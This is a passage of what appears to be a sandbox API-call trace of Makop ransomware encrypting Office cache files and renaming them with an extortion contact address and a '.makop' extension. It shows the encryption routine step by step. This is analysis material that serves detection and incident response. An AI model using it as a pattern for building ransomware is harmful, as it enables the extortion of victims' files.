pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.812] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.812] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.907] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.907] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.916] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.918] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.919] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.921] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.921] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.921] SetEndOfFile (hFile=0x124) returned 1 [0065.930] GetProcessHeap () returned 0x48a0000 [0065.930] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0065.930] GetProcessHeap () returned 0x48a0000 [0065.930] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.930] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0065.930] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.931] CloseHandle (hObject=0x124) returned 1 [0065.931] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0065.931] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0065.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.932] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2865664) returned 1 [0065.932] GetProcessHeap () returned 0x48a0000 [0065.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.933] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.933] GetProcessHeap () returned 0x48a0000 [0065.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0065.933] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0065.933] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.933] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0065.937] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.937] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0065.938] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0065.938] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.938] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0065.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.938] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.938] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.938] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.955] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.958] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.960] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.960] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.960] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.960] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.986] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.988] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.989] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.993] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.993] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0066.019] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0066.022] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.022] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0066.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.024] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0066.024] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.025] SetEndOfFile (hFile=0x124) returned 1 [0066.035] GetProcessHeap () returned 0x48a0000 [0066.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0066.035] GetProcessHeap () returned 0x48a0000 [0066.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0066.035] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0066.035] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0066.036] CloseHandle (hObject=0x124) returned 1 [0066.036] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0066.036] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0066.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0066.037] GetProcessHeap () returned 0x48a0000 [0066.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0066.037] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0066.037] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0066.037] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xe, lpOverlapped=0x0) returned 1 [0066.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.043] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.043] GetProcessHeap () returned 0x48a0000 [0066.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0066.043] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0066.043] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.043] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0066.044] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0066.044] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0066.044] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0066.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0066.044] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0066.044] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.044] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.045] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xc72, lpOverlapped=0x0) returned 1 [0066.045] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xc80, dwBufLen=0xc80 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xc80) returned 1 [0066.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.045] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xc80, lpOverlapped=0x0) returned 1 [0066.045] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.045] SetEndOfFile (hFile=0x124) returned 1 [0066.051] GetProcessHeap () returned 0x48a0000 [0066.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0066.051] GetProcessHeap () returned 0x48a0000 [0066.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0066.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0066.052] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0066.059] CloseHandle (hObject=0x124) returned 1 [0066.059] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.059] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0066.061] GetProcessHeap () returned 0x48a0000 [0066.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0066.061] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0066.061] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0066.061] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x1, lpOverlapped=0x0) returned 1 [0066.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.065] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.066] GetProcessHeap () returned 0x48a0000 [0066.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0066.066] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0066.066] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.066] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0066.066] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0066.066] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0066.066] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0066.066] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0066.067] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0066.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.067] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.067] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.067] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x106f, lpOverlapped=0x0) returned 1 [0066.068] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x1070, dwBufLen=0x1070 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x1070) returned 1 [0066.069] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.069] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x1070, lpOverlapped=0x0) returned 1 [0066.069] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.069] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 